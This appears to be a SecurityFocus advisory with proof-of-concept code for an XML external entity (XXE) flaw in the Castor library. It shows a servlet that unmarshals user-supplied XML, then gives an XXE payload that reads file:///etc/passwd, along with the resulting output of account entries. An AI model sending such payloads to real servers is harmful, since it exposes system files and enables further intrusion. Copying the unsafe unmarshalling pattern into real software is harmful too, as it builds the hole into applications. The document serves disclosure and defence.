source: https://www.securityfocus.com/bid/67676/info
Castor Library is prone to an information-disclosure vulnerability.
An attacker can exploit this issue to gain access to sensitive information that may lead to further attacks.
Caster Library 1.3.3-RC1 and earlier are vulnerable.
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Proof-of-Concept Code and Exploit
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Now let’s look at how Castor handles unmarshalling calls to show how an
application could be vulnerable:
In this simple class, we create Person object:
..snip..
public class Person implements java.io.Serializable {
/** The name of the person */
private String name = null;
/** The Date of birth */
private Date dob = null;
/** Creates a Person with no name */
public Person() {
super();
}
/** Creates a Person with the given name */
public Person(String name) { this.name = name; }
..snip..
Next, we generate a class that takes in external XML data to convert the
XML document to a Person Object using the unmarshalling function:
public static Person deserializePersonWithStatic(String xmlInput)
{
StringReader xmlReader = new StringReader(xmlInput);
Person aPerson = null;
try
{
aPerson = (Person) Unmarshaller.unmarshal(Person.class,
xmlReader);
}
catch (Exception e)
{
System.out.println("Failed to unmarshal the xml");
e.printStackTrace();
}
return aPerson;
}
If our application took in the XML data from a user controllable location
and passed it through this unmarshalling function, the end user could use
this functionality to view local resources on the application’s hosting
server. For example, look at the following Servlet that takes in XML data
from the Request:
public class GeneratePerson extends HttpServlet {
public void doPost(HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException
{
String evilPersonXML = req.getParameter(“person”);
Person anotherPerson = deserializePersonWithStatic(evilPersonXML);
if(anotherPerson == null)
{
System.out.println("No Person Object set");
}
else
{
System.out.println("XXE Person name: " +
anotherPerson.getName());
}
What would happen if we passed the following string into the “person”
request parameter value?:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE doc [
<!ENTITY x3 SYSTEM "file:///etc/passwd"> ]
<person><name>&x3;</name></person>
The output would be the following:
XXE Person name: ##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
..snip..
As you can see, the unmarshalling function allowed external entities to be
referenced and therefore the contents of the server’s /etc/passwd file was
set within the “name” variable of the deserialized Person object.
